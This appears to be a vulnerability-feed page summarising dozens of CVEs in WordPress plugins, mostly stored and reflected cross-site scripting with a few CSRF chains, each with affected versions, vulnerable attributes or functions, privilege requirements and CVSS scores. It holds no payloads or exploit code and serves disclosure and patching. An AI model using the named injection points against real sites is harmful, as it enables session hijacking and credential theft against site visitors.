The Text Toggle WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in versions up to 1.1 affecting the 'title' shortcode attribute of the [tt_part] and [tt] shortcodes. Authenticated attackers with Contributor-level privileges or above can inject arbitrary HTML attributes and event handlers by breaking out of the title attribute context, allowing malicious scripts to execute in the browsers of any user viewing affected pages. The vulnerability is classified as medium severity (CVSS 6.4) and requires authentication, but impacts site integrity and visitor security across any WordPress installation using this plugin.

WordPress XSS Text Toggle +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Wikilookup plugin for WordPress versions up to 1.1.5 contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'Popup Width' setting due to insufficient input sanitization and output escaping. Authenticated attackers with Administrator-level access can inject arbitrary JavaScript that executes for all users viewing affected pages, but only in multi-site installations or where the unfiltered_html capability has been disabled. With a CVSS score of 4.4 and high attack complexity requirements, this represents a low-to-moderate real-world threat that requires both administrative access and specific WordPress configurations to exploit.

WordPress XSS Wikilookup +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Review Map by RevuKangaroo WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in its plugin settings that allows authenticated administrators to inject arbitrary JavaScript code through insufficient input sanitization and output escaping. This vulnerability affects all versions up to and including 1.7 and only manifests in WordPress multisite installations or single-site installations where the unfiltered_html capability has been disabled. Once injected, the malicious script executes whenever any user accesses the affected page, making this a persistent XSS attack vector that can compromise user sessions and sensitive data.

WordPress XSS Review Map By Revukangaroo +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Sherk Custom Post Type Displays WordPress plugin (versions up to 1.2.1) where the 'title' shortcode attribute is insufficiently sanitized and directly concatenated into HTML output without escaping. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript that executes for all users viewing affected pages. The vulnerability has a CVSS score of 6.4 (Medium) with a local privilege requirement, making it exploitable by lower-privileged authenticated users rather than unauthenticated remote attackers.

PHP WordPress XSS +2
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Comment SPAM Wiper plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'API Key' setting that allows authenticated administrators to inject arbitrary JavaScript code. This vulnerability affects multi-site WordPress installations and those with the unfiltered_html capability disabled, impacting versions up to and including 1.2.1. While the CVSS score of 4.4 is moderate and exploitation requires high-privilege access (Administrator level), the stored nature of the XSS means injected scripts execute for all users accessing affected pages, creating persistent exposure.

WordPress XSS Comment Spam Wiper +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Twitter Feeds plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'tweet_title' parameter of the TwitterFeeds shortcode due to insufficient input sanitization and output escaping. All versions up to and including 1.0.0 are affected, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript that persists in pages and executes for all users who view the compromised content. With a CVSS score of 6.4 (Medium) and CWE-79 classification, this vulnerability poses a meaningful risk to WordPress sites using this plugin, particularly those with permissive user role assignments.

WordPress XSS Twitter Feeds +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Logo Slider WordPress plugin (versions up to 4.9.0) that allows authenticated attackers with author-level privileges to inject malicious scripts through image alt text in the 'logo-slider' shortcode. The vulnerability stems from insufficient input sanitization and output escaping, enabling persistent script execution whenever users access pages containing the injected content. With a CVSS score of 6.4 and moderate real-world exploitability, this represents a credible threat to WordPress sites with multiple trusted authors.

WordPress XSS Logo Slider Logo Carousel Logo Showcase Client Logo Slider Plugin +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Schema Shortcode plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the `itemscope` shortcode that allows authenticated attackers with contributor-level access or higher to inject arbitrary malicious scripts into pages. These injected scripts execute whenever any user accesses the affected page, potentially compromising visitor sessions and data. With a CVSS score of 6.4 and confirmed vulnerability through Wordfence intelligence, this represents a meaningful risk to WordPress sites using this plugin, though exploitation requires authenticated access rather than unauthenticated exploitation.

WordPress XSS Schema Shortcode +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Multi Post Carousel by Category WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'slides' shortcode attribute due to insufficient input sanitization and output escaping in the post_slides_shortcode function. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript code into pages, and the malicious script will execute whenever any user visits the affected page. With a CVSS score of 6.4 and confirmed vulnerability across all versions up to and including 1.4, this represents a moderate-risk vulnerability primarily affecting WordPress sites using this plugin.

WordPress XSS Multi Post Carousel By Category +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Integration with Hubspot Forms WordPress plugin (all versions up to 1.2.2) due to insufficient input sanitization and output escaping on shortcode attributes. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript into pages via the 'hubspotform' shortcode, which executes whenever users access the compromised page. While no public exploit-in-the-wild activity has been reported, the vulnerability is straightforward to exploit and poses a moderate risk given the low privilege requirement and broad attack surface in WordPress environments.

WordPress XSS Integration With Hubspot Forms +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

This vulnerability is a Stored Cross-Site Scripting (XSS) flaw in the PayPal Shortcodes WordPress plugin affecting all versions up to and including 0.3. The plugin fails to properly sanitize and escape the 'amount' and 'name' shortcode attributes, allowing authenticated attackers with Contributor-level access or higher to inject malicious JavaScript that executes for all users viewing affected pages. With a CVSS score of 6.4 and network-based attack vector, this represents a moderate-severity threat to WordPress installations using this plugin, particularly those with multiple contributor accounts.

WordPress XSS Paypal Shortcodes +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

A Reflected Cross-Site Scripting (XSS) vulnerability exists in the Comment Genius WordPress plugin versions up to 1.2.5, where the PHP_SELF server variable is insufficiently sanitized and escaped in output, allowing unauthenticated attackers to inject arbitrary JavaScript code. Affected users are WordPress site administrators and visitors who can be tricked into clicking malicious links. The vulnerability has a CVSS score of 6.1 (Medium) with network accessibility and low complexity, though it requires user interaction to execute.

WordPress XSS Comment Genius +1
NVD VulDB
EPSS 0% CVSS 5.5
MEDIUM This Month

A Stored Cross-Site Scripting vulnerability exists in the Multi Functional Flexi Lightbox WordPress plugin (versions up to and including 1.2) that allows authenticated administrators to inject arbitrary JavaScript code via the arv_lb[message] parameter. The vulnerability stems from insufficient input sanitization in the arv_lb_options_val() callback function and missing output escaping in the genLB() function, enabling malicious scripts to execute in the browsers of any user viewing pages or posts with the lightbox enabled. With a CVSS score of 5.5 and requiring high-privilege administrator access, this represents a moderate but real risk primarily applicable to compromised or malicious admin accounts.

WordPress XSS Multi Functional Flexi Lightbox +1
NVD GitHub
EPSS 0% CVSS 6.1
MEDIUM This Month

The itsukaita WordPress plugin contains a Reflected Cross-Site Scripting (XSS) vulnerability in the 'day_from' and 'day_to' parameters due to insufficient input sanitization and output escaping. All versions up to and including 0.1.2 are affected, allowing unauthenticated attackers to inject arbitrary web scripts that execute in administrator browsers if they click a malicious link. With a CVSS score of 6.1 (Medium) and a requirement for user interaction (UI:R), this vulnerability poses a moderate but real threat to WordPress installations using this plugin.

WordPress XSS Itsukaita +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the WordPress PayPal Donation plugin (all versions up to and including 1.01) due to insufficient input sanitization and output escaping in shortcode attribute handling. Authenticated attackers with Contributor-level access or above can inject arbitrary JavaScript code through malicious shortcode attributes that will execute for all users viewing the affected pages. With a CVSS score of 6.4 and confirmed vulnerability details available through Wordfence and WordPress plugin repository source code analysis, this represents a moderate but practical risk to WordPress installations using this plugin.

WordPress XSS Wordpress Paypal Donation +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the MinhNhut Link Gateway WordPress plugin versions up to and including 3.6.1, where the 'linkgate' shortcode fails to properly sanitize and escape user-supplied attributes. Authenticated attackers with Contributor-level access or higher can inject malicious JavaScript that persists in pages and executes for all users who view those pages. The vulnerability has a CVSS 3.1 score of 6.4 with a network attack vector and low complexity, indicating practical exploitability by lower-privileged authenticated users.

WordPress XSS Minhnhut Link Gateway +1
NVD GitHub VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

The login_register plugin for WordPress versions up to 1.2.0 contains a combined Cross-Site Request Forgery (CSRF) and Stored Cross-Site Scripting (XSS) vulnerability due to missing nonce validation and insufficient input sanitization on the settings page. Unauthenticated attackers can craft malicious links to trick administrators into injecting arbitrary JavaScript that persists and executes for all users accessing affected pages. While the CVSS score is moderate at 4.3, the vulnerability requires user interaction (administrator click) but enables persistent script injection with potential for credential theft or further compromise.

WordPress XSS CSRF +2
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Sheets2Table WordPress plugin versions up to 0.4.1 contain a Stored Cross-Site Scripting (XSS) vulnerability in the [sheets2table-render-table] shortcode's 'titles' attribute, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript that executes for all users viewing affected pages. The vulnerability stems from insufficient input sanitization and output escaping in the display_table_header() function, where user-supplied shortcode attributes are echoed directly into HTML without proper escaping mechanisms such as esc_html().

WordPress XSS Sheets2Table +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The WP Games Embed WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in versions up to 0.1beta due to insufficient input sanitization and output escaping of shortcode attributes. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript through shortcode parameters such as 'width', 'height', 'src', 'title', 'description', 'game_url', 'main', and 'thumb', which are directly concatenated into HTML output without escaping. When other users visit pages containing the malicious shortcode, the injected scripts execute in their browsers, potentially allowing session hijacking, credential theft, or malware distribution.

WordPress XSS Wp Games Embed +1
NVD VulDB
EPSS 0% CVSS 4.3
MEDIUM This Month

The Xhanch - My Advanced Settings WordPress plugin (versions up to 1.1.2) contains a Cross-Site Request Forgery vulnerability in its settings update handler due to missing nonce validation, allowing unauthenticated attackers to modify plugin settings if they can trick an administrator into clicking a malicious link. The vulnerability is particularly dangerous because unescaped output of the `favicon_url` and `ga_acc_id` settings enables a CSRF-to-Stored XSS chain, where injected payloads persist and affect all site visitors. While no active exploitation in the wild has been confirmed in public records and the CVSS score of 4.3 is relatively low, the attack requires only user interaction and results in stored cross-site scripting on the front-end.

WordPress XSS Google +3
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Any Post Slider WordPress plugin versions up to 1.0.4 contain a Stored Cross-Site Scripting (XSS) vulnerability in the aps_slider shortcode due to insufficient input sanitization and output escaping on the 'post_type' attribute. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript that persists in pages and executes for all users who view the injected content. With a CVSS score of 6.4 and attack complexity marked as low, this represents a moderate-severity threat primarily affecting multi-user WordPress installations where contributor access is delegated.

WordPress XSS Any Post Slider +2
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Tour & Activity Operator Plugin for TourCMS (all versions up to 1.7.0) affecting WordPress installations. The vulnerability resides in the 'target' parameter of the tourcms_doc_link shortcode, where insufficient input sanitization and output escaping allows authenticated attackers with Contributor-level privileges and above to inject arbitrary JavaScript code that executes in the browsers of users visiting affected pages. With a CVSS score of 6.4 and network-based attack vector requiring only low privileges, this represents a moderate but exploitable risk to WordPress sites using this plugin.

WordPress XSS Tour Activity Operator Plugin For Tourcms +1
NVD VulDB
EPSS 0% CVSS 4.4
MEDIUM This Month

The Survey plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in administrative settings due to insufficient input sanitization and output escaping, affecting all versions up to and including 1.1. Authenticated attackers with administrator-level permissions can inject arbitrary JavaScript code that executes when users access affected pages, though this is restricted to multi-site installations or those with unfiltered_html disabled. With a CVSS score of 4.4 and high attack complexity requiring administrator privileges, the real-world risk is moderate; no public exploit code or KEV status has been indicated, making this a lower-priority remediation compared to critical vulnerabilities.

WordPress XSS Survey +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

A Stored Cross-Site Scripting (XSS) vulnerability exists in the Go Night Pro WordPress Dark Mode Plugin affecting all versions up to and including 1.1.0, where the 'margin' attribute of the 'go-night-pro-shortcode' shortcode fails to properly sanitize and escape user input. Authenticated attackers with contributor-level access or above can inject arbitrary JavaScript code into pages, which executes when other users access the affected pages. This vulnerability carries a CVSS score of 6.4 (Medium) with network-based attack vector and low complexity, requiring valid WordPress credentials but affecting site-wide script execution with potential impact on user data and site integrity.

WordPress XSS Go Night Pro Wordpress Dark Mode Plugin +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The Simple Football Scoreboard plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'ytmr_fb_scoreboard' shortcode due to insufficient input sanitization and output escaping of user-supplied attributes. All versions up to and including 1.0 are affected, allowing authenticated attackers with Contributor-level access or above to inject arbitrary JavaScript that executes for all users viewing the compromised page. With a CVSS score of 6.4 and network-based attack vector requiring only low privileges, this represents a moderate but exploitable threat to WordPress sites using this plugin.

WordPress XSS Simple Football Scoreboard +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The WP-WebAuthn WordPress plugin contains an unauthenticated Stored Cross-Site Scripting (XSS) vulnerability in the wwa_auth AJAX endpoint that allows attackers to inject arbitrary JavaScript into the plugin's log page. Affected are all versions up to and including 1.3.4 of the plugin (identified via CPE cpe:2.3:a:axton:wp-webauthn:*:*:*:*:*:*:*:*), which is exploitable only when logging is enabled in plugin settings. The vulnerability stems from insufficient input sanitization and output escaping of user-supplied attributes, enabling persistent XSS execution whenever administrators or authorized users access the logging interface.

WordPress XSS Wp Webauthn +1
NVD
EPSS 0% CVSS 6.1
MEDIUM This Month

The Alfie - Feed Plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'naam' parameter of the alfie_option_page() function, affecting all versions up to and including 1.2.1. The vulnerability stems from missing nonce validation combined with insufficient input sanitization and output escaping, allowing unauthenticated attackers to inject malicious scripts that persist in the plugin's database and execute when users view affected pages. An attacker must successfully social engineer a site administrator into clicking a malicious link, but once exploited, the payload executes with the privileges of any user accessing the compromised page, making this a moderate-risk vulnerability with a CVSS score of 6.1.

WordPress XSS Alfie Feed Plugin +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

Ed's Font Awesome plugin for WordPress contains a Stored Cross-Site Scripting (XSS) vulnerability in the eds_font_awesome shortcode due to insufficient input sanitization and output escaping of user-supplied attributes. All versions up to and including 2.0 are affected, allowing authenticated attackers with contributor-level access or higher to inject arbitrary JavaScript that persists in pages and executes for all users viewing those pages. No evidence of active exploitation in the wild (KEV status unknown), but the vulnerability is straightforward to exploit given contributor access and represents a persistent compromise vector.

WordPress XSS Ed S Font Awesome +1
NVD
EPSS 0% CVSS 4.4
MEDIUM This Month

The Reward Video Ad for WordPress plugin (all versions up to 1.6) contains a Stored Cross-Site Scripting (XSS) vulnerability in its admin settings due to insufficient input sanitization and output escaping on fields including Account ID, Message before the video, and color parameters. This allows authenticated administrators to inject arbitrary JavaScript that executes whenever any user accesses an affected page, potentially compromising site visitors. The vulnerability requires Administrator-level access to exploit, limiting the attack surface to high-privilege accounts, though once injected, the malicious scripts execute with no further user interaction required.

WordPress XSS Reward Video Ad For Wordpress +1
NVD
EPSS 0% CVSS 6.4
MEDIUM This Month

The fyyd podcast shortcodes plugin for WordPress contains a Stored Cross-Site Scripting vulnerability affecting all versions up to and including 0.3.1, where shortcode attributes (color, podcast_id, podcast_slug) are improperly concatenated into inline JavaScript without sanitization or escaping. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript that executes for all users viewing affected pages, allowing session hijacking, credential theft, or malware distribution. The CVSS 6.4 score reflects moderate risk with network-accessible attack vector and low complexity, though exploitation requires prior authentication.

WordPress XSS Fyyd Podcast Shortcodes +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The WPFAQBlock plugin for WordPress contains a Stored Cross-Site Scripting vulnerability in the 'class' parameter of the 'wpfaqblock' shortcode, affecting all versions up to and including 1.1. Authenticated attackers with Contributor-level access or higher can inject arbitrary JavaScript that persists in pages and executes for all users visiting those pages. With a CVSS score of 6.4 and low attack complexity, this represents a moderate-to-significant risk for WordPress installations using this plugin, particularly on multi-author sites where contributor accounts may be compromised or malicious.

WordPress XSS Wpfaqblock Faq Accordion Plugin For Gutenberg +1
NVD VulDB
EPSS 0% CVSS 6.4
MEDIUM This Month

The Ad Short WordPress plugin versions up to 2.0.1 contains a Stored Cross-Site Scripting (XSS) vulnerability in the 'ad' shortcode's 'client' attribute that allows authenticated attackers with Contributor-level access or higher to inject arbitrary JavaScript code into pages. The vulnerability results from insufficient input sanitization and output escaping in the ad_func() shortcode handler, which directly concatenates user-supplied input into HTML attributes without applying proper escaping functions like esc_attr(). When affected pages are visited by other users, the injected scripts execute in their browsers, potentially enabling session hijacking, credential theft, or malware distribution.

WordPress XSS Ad Short +1
NVD
EPSS 0% CVSS 6.1
MEDIUM PATCH This Month

The rexCrawler WordPress plugin contains a Reflected Cross-Site Scripting (XSS) vulnerability in the search-pattern tester page that allows unauthenticated attackers to inject arbitrary web scripts via inadequately sanitized 'url' and 'regex' parameters. Affected versions are up to and including 1.0.15 (CPE: cpe:2.3:a:larsdrasmussen:rexcrawler:*:*:*:*:*:*:*:*), with exploitation requiring social engineering to trick administrators into clicking a malicious link. This vulnerability is limited to WordPress multisite installations or sites where the unfiltered_html capability has been disabled, and carries a CVSS v3.1 score of 6.1 with an AV:N/AC:L/PR:N/UI:R/S:C profile indicating network-based exploitation with user interaction required.

WordPress XSS Rexcrawler +1
NVD GitHub
EPSS 0% CVSS 6.4
MEDIUM This Month

The Outgrow WordPress plugin contains a Stored Cross-Site Scripting (XSS) vulnerability in versions up to and including 2.1, affecting the 'id' attribute of the 'outgrow' shortcode due to insufficient input sanitization and output escaping. Authenticated attackers with contributor-level access and above can inject arbitrary JavaScript that executes for all users viewing affected pages. With a CVSS score of 6.4 and moderate attack complexity, this vulnerability poses a real threat to WordPress sites using this plugin, as privilege escalation through stored XSS could enable further compromise.

WordPress XSS Outgrow +1
NVD
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